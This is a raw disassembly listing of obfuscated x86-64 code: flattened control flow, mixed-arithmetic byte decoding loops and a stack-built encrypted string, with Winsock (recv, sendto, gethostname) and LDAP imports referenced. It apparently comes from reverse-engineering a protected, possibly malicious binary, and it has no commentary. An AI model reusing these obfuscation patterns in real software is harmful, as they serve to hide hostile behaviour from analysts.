add r10b, dl
add r10b, r11b
jmp 0x140089415
movabs rcx, 0x40829d57632a6280
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x80
movzx eax, byte [rbp + rbx + 0xeb0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400887e2
movabs rcx, 0x75f794cc177b8450
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x30
mov byte [rbp + rbx + 0xeb0], r10b
inc rbx
jmp 0x1400887e2
movabs rcx, 0xf1bff7c792cf2b70
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x10
cmp r9, 0x1000
jb 0x140088c7a
movabs rcx, 0x571447e66e55b4a0
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, reloc.WS2_32.dll_recv
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea r10d, [rdx + rdx]
jmp 0x140089320
movabs rdx, 0x6d885ac30e22d290
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
cmp r8, 0x80
jae 0x1400891fb
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x140089128
movabs rcx, 0x2ce825b93f9a3be0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
jmp 0x140088ca9
movabs rdx, 0xe950bdbe897679b0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
lea rax, [r9 + r8]
cmp rax, 0x28
je 0x140089256
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x140088fe8
movabs rdx, 0x40a03509ce8896b0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_26
jmp 0x140088cf4
movabs rdx, 0x89afa41ca669df20
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xeb0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400887e2
movabs rdx, 0x578071821bd8640
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140089415
movabs rdx, 0x81406a139d112d60
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400893e1
movabs rcx, 0xfd08cd0f1864d480
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x80
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400887e2
movabs rcx, 0x78d1300a93b87ba0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x60
jmp 0x1400893a8
movabs rcx, 0xf49993060f0c22c0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x40
jmp 0x140089226
movabs rcx, 0x7061f6018a5fc9e0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
dec rbx
inc rbx
jmp 0x1400887e2
movabs rcx, 0xec2a58fd05b37100
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
inc r9
dec rbx
inc rbx
jmp 0x1400887e2
movabs rdx, 0x67f2bbf881071820
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140089320
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x140088f42
lea rcx, [rbx + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x10
jmp 0x140088d62
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140088f85
movabs rdx, 0xd88fe15ee2234a60
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xeb0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400887e2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140088fb7
movabs rdx, 0xe0ff1b67eb7bfc20
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400893e1
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140088d62
movabs rcx, 0x6da5f275798106c0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x40
jmp 0x140089226
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008901a
movabs rdx, 0xc4d7d20e5334ef90
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140089320
inc rax
cmp r8, rax
jne 0x14008904f
movabs rcx, 0x490f6f12d7e14870
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x10
inc r9
dec rbx
inc rbx
jmp 0x1400887e2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140089082
movabs rcx, 0xcd470c175c8da150
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x30
dec rbx
inc rbx
jmp 0x1400887e2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400890af
movabs rcx, 0xd5b6462065e65310
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x70
jmp 0x1400893a8
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400890e1
movabs rdx, 0xde2580296f3f04d0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400893e1
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140088d00
movabs rdx, 0xe694ba327897b690
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xeb0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400887e2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140089166
movabs rcx, 0xb11fc2bdc44694c0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x40
movzx eax, byte [rbp + rbx + 0xeb0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400887e2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140089192
movabs rdx, 0x4635d3d45ba45120
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
jmp 0x140089220
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400891c1
movabs rcx, 0xca6d70d8e050aa00
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
dec rbx
inc rbx
jmp 0x1400887e2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140088ca9
movabs rcx, 0x4ea50ddd64fd02e0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
inc r9
dec rbx
inc rbx
jmp 0x1400887e2
movabs rdx, 0xdb4be4eaf3020d80
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx r10d, byte [rbp + rbx + 0xeb0]
sub r10b, al
add r10b, 0x80
add r10b, dl
add r10b, r11b
movabs rcx, 0x9d67b36d355839f0
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, gethostname
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
add dl, r11b
mov byte [rbp + rbx + 0xeb0], dl
jmp 0x1400893a8
movabs rdx, 0x5f8381ef77ae6660
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rbx + 0xeb0]
add r10b, dl
add r10b, r11b
jmp 0x1400893e1
movabs rcx, 0x5959eca8d1bba70
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x10
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400887e2
movabs rdx, 0x78eec7bcff16afd0
mov ecx, Ordinal_41
jmp 0x140089364
movabs rdx, 0xf4b72ab87a6a56f0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400887e2
movabs rcx, 0x707f8db3f5bdfe10
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x70
movabs rcx, 0x19301668b0abe110
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x70
add r11b, cl
mov byte [rbp + rbx + 0xeb0], r11b
inc r9
dec rbx
inc rbx
jmp 0x1400887e2
movabs rdx, 0x5fa119a1e30c9a90
mov ecx, 8
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x1400887e2
movabs rdx, 0x5731df98d9b3e8d0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400887e2
mov r11, rdx
movabs rcx, 0x4ec2a58fd05b3710
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x70
movabs rdx, 0x219f5071ba0492d0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0xeb0], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0xe3bb1ef3fc5abf40
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0xeb0], cl
inc r8
mov rax, r12
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xeb0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400887e2
movabs rcx, 0x46536b86c7028550
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x30
movzx eax, byte [rbp + rbx + 0xeb0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400887e2
movabs rcx, 0xd87249ac76c51630
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x50
jmp 0x1400887e0
movabs rcx, 0x543aaca7f218bd50
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x30
jmp 0x1400887d0
lea rsi, [rbp + 0x165e9f0]
jmp 0x1400894f4
lea rsi, [rbp + 0x17c1660]
jmp 0x1400894f4
lea rsi, [rbp + 0xeb0]
lea rdx, [0x140226210]
lea rcx, [rbp + 0x688]
call fcn.140002680
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x28]
mov rcx, qword [0x14022c170]
call fcn.14006bfb0
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002820
lea rcx, [rbx + 0x30]
call fcn.14006bab0
mov r14, rax
mov byte [rbp + 0xed8], 0xa8
mov byte [rbp + 0xed9], 0xcb
mov byte [rbp + 0xeda], 0xb7
mov byte [rbp + 0xedb], 0xb7
mov byte [rbp + 0xedc], 0xad
mov byte [rbp + 0xedd], 0xa6
mov byte [rbp + 0xede], 0xda
mov byte [rbp + 0xedf], 0xae
mov byte [rbp + 0xee0], Ordinal_217
mov byte [rbp + 0xee1], Ordinal_217
mov byte [rbp + 0xee2], 0x62
mov byte [rbp + 0xee3], 0xbb
mov byte [rbp + 0xee4], Ordinal_79
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xee5], xmm0
mov dword [rbp + 0xef5], eax
mov word [rbp + 0xef9], ax
movabs rdx, 0x3d14b0b6a0cb4ec
movabs r15, 0x7fa69f1fa5bead7c
movabs r13, 0x1c2a4e023ce1ea04
movzx r11d, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor edi, edi
movabs rcx, 0x8c2c817b696a9a8c
cmp rdi, 0x23
jae 0x14008a286
movzx ebx, byte [rbp + rdi + 0xed8]
mov r10, rbx
cmp r8, rdi
ja 0x14008a27d
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14008963c
add rcx, rdi
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
add r11b, 0x2c
jmp 0x140089682
je 0x14008a1ef
inc rax
cmp r8, rax
je 0x14008a198
lea rax, [r9 + 2]
cmp r8, rax
je 0x14008a13d
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008a0cf
lea rax, [r9 + 4]
cmp r8, rax
je 0x14008a09c
lea rax, [r9 + 7]
cmp r8, rax
je 0x14008a03f
cmp r9, rdi
ja 0x14008a274
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x1400896ab
lea rcx, [rdi + r15]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x64
jmp 0x1400896f0
lea rax, [r9 + 1]
cmp r8, rax
je 0x14008a01f
lea rax, [r9 + 3]
cmp r8, rax
je 0x140089ffc
lea rax, [r9 + 4]
cmp r8, rax
je 0x140089fd4
lea rax, [r9 + 2]
cmp r8, rax
je 0x140089fac
lea rax, [r9 + 8]
cmp r8, rax
je 0x140089f89
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x140089c10
nop dword [rax]
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140089be9
lea rax, [r9 + 2]
cmp r8, rax
je 0x140089bae
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x140089b7b
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x140089b58
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140089b30
lea rax, [r9 + 5]
cmp r8, rax
je 0x140089af3
lea r8, [r9 + 0xa]
lea r9, [r8 + 0x10]
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x14008a251
lea rax, [r9 + 6]
cmp r8, rax
jb 0x14008a22e
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x14008986d
lea rax, [r9 + 3]
cmp r8, rax
jb 0x140089853
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x140089839
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x140089a8d
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x140089a2d
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400899e1
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400899a4
lea r8, [r9 + 4]
lea r9, [r8 + 0x42]
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x14008997c
lea rax, [r9 + 1]
cmp r8, rax
ja 0x140089954
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x140089931
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400898ef
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400898cc
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400898a9
lea r8, [r9 + 9]
lea r9, [r8 + 0xa]
jmp 0x140089700
lea rcx, [rdi + r13]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1c
jmp 0x1400896f0
lea rcx, [rdi + rdx]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x74
jmp 0x140089682
movabs rdx, 0xeb78481497377fd4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movabs rdx, 0x3d14b0b6a0cb4ec
movabs rcx, 0x8c2c817b696a9a8c
jmp 0x14008960e
movabs rcx, 0xb429f018b575cc98
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x28
jmp 0x14008a0f2
movabs rcx, 0x9bd0ed21e2a09780
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x80
jmp 0x14008a11b
movabs rdx, 0x8377ea2b0fcb6268
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0x3d14b0b6a0cb4ec
jmp 0x1400895f2
movabs rcx, 0x6b1ee7343cf62d50
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x30
jmp 0x14008a164
movabs rdx, 0x52c5e43d6a20f838
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008a1bf
movabs rdx, 0x3a6ce146974bc320
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008a20e
movabs rdx, 0x7d8e59dd8836be64
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
mov byte [rbp + rdi + 0xed8], r11b
inc rdi
movabs rdx, 0x3d14b0b6a0cb4ec
jmp 0x1400895f2
movabs rcx, 0x653556e6b561894c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x14
cmp r9, 0x7a
jb 0x1400899c7
movabs rcx, 0xd9bb972c007993c8
add rcx, rdi
movzx eax, cl
and al, bl
mov edx, 4
sub dl, al
add dl, dl
add dl, cl
add dl, bl
lea r11d, [rdx + rdx]
jmp 0x14008a062
movabs rcx, 0x4cdc53efe28c5434
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6c
cmp r8, 0x3e8
jae 0x140089f2a
lea rax, [r9 + 3]
cmp r8, rax
jbe 0x140089e3f
movabs rdx, 0xe6417987c42580d8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400899ff
movabs rdx, 0x348350f90fb71f1c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
lea rax, [r9 + r8]
cmp rax, 0x41
je 0x140089f59
lea rax, [r9 + 0x5a]
cmp r8, rax
jbe 0x140089d2f
movabs rdx, 0x669ada681e66d35c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140089a4b
movabs rcx, 0xb4dcb1d969f871a0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x60
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0x3d14b0b6a0cb4ec
jmp 0x1400895f2
movabs rdx, 0x9c83aee297233c88
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008a11b
movabs rcx, 0x842aabebc44e0770
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x10
jmp 0x14008a0f2
movabs rcx, 0x6bd1a8f4f178d258
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x68
dec rdi
inc rdi
movabs rdx, 0x3d14b0b6a0cb4ec
jmp 0x1400895f2
movabs rdx, 0x5378a5fe1ea39d40
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
movabs rdx, 0x3d14b0b6a0cb4ec
jmp 0x1400895f2
movabs rdx, 0x3b1fa3074bce6828
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x18
add r11b, dl
jmp 0x14008a062
lea rax, [r9 + 5]
cmp r8, rax
jae 0x140089c35
movabs rdx, 0x8c2c817b696a9a8c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x140089aa4
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140089c66
movabs rdx, 0xff4d3e3f4b7d5af8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008a20e
inc rax
cmp r8, rax
jne 0x140089c91
movabs rcx, 0x17a641361e529010
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x70
jmp 0x14008a1bf
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140089cbd
movabs rcx, 0x2fff442cf127c528
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x18
jmp 0x14008a164
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140089cea
movabs rdx, 0x790a4d1169a76470
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x10
jmp 0x14008a0ef
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140089ab0
movabs rdx, 0x916350083c7c9988
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
movabs rdx, 0x3d14b0b6a0cb4ec
jmp 0x1400895f2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140089d5f
movabs rdx, 0x7ef3dd5ef13c0874
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x2c
add r11b, dl
jmp 0x14008a062
inc rax
cmp r8, rax
jne 0x140089da2
movabs rdx, 0x974ce055c4113d8c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
movabs rdx, 0x3d14b0b6a0cb4ec
jmp 0x1400895f2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140089dde
movabs rcx, 0xafa5e34c96e672a4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7c
dec rdi
inc rdi
movabs rdx, 0x3d14b0b6a0cb4ec
jmp 0x1400895f2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140089e0f
movabs rdx, 0xe057e93a3c90dcd4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008a11b
lea rax, [r9 + 9]
cmp r8, rax
jne 0x140089a4b
movabs rcx, 0x41bbf51587e5b134
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6c
jmp 0x14008a20e
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140089e70
movabs rdx, 0xfe9a7c7e96fab5f0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008a20e
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140089ea1
movabs rdx, 0x2f4c826c3ca52020
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008a164
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140089ecd
movabs rcx, 0x5ffe8859e24f8a50
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x30
jmp 0x14008a11b
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140089f09
movabs rcx, 0x90b08e4787f9f480
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x80
dec rdi
inc rdi
movabs rdx, 0x3d14b0b6a0cb4ec
jmp 0x1400895f2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400899ff
movabs rdx, 0xc16294352da45eb0
mov ecx, Ordinal_26
jmp 0x14008a04e
movabs rdx, 0xf2149a22d34ec8e0
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx r11d, byte [rbp + rdi + 0xed8]
sub r11b, al
sub r11b, 0x20
add r11b, dl
add r11b, bl
jmp 0x14008a0f2
movabs rdx, 0xa6d9d19a623fdf8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rdi + 0xed8]
add r11b, dl
add r11b, bl
jmp 0x14008a164
movabs rcx, 0x5ac7b9cd0f3d8b54
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x4c
jmp 0x14008a20e
movabs rdx, 0x426eb6d63c68563c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008a1bf
movabs rdx, 0x2a15b3df69932124
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008a164
movabs rcx, 0xe10aaafaf11381dc
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 4
jmp 0x14008a0f2
movabs rcx, 0x97ffa2167893e294
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xc
jmp 0x14008a062
movabs rdx, 0x674d9c28d2e97864
mov ecx, Ordinal_35
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rcx, 0x65e818a769e42e54
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x4c
add bl, cl
mov byte [rbp + rdi + 0xed8], bl
inc r9
dec rdi
inc rdi
movabs rdx, 0x3d14b0b6a0cb4ec
jmp 0x1400895f2
movabs rcx, 0x369b963b2d3f0e34
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x6c
dec rdi
inc rdi
movabs rdx, 0x3d14b0b6a0cb4ec
jmp 0x1400895f2
movabs rdx, 0x1e4293445a69d91c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movabs rdx, 0x7e411b9e3cb9636c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 6
sub cl, al
add cl, cl
add cl, r11b
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0xed8], cl
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0x3d14b0b6a0cb4ec
jmp 0x1400895f2
mov rbx, r10
movabs rdx, 0xd5378a5fe1ea39d4
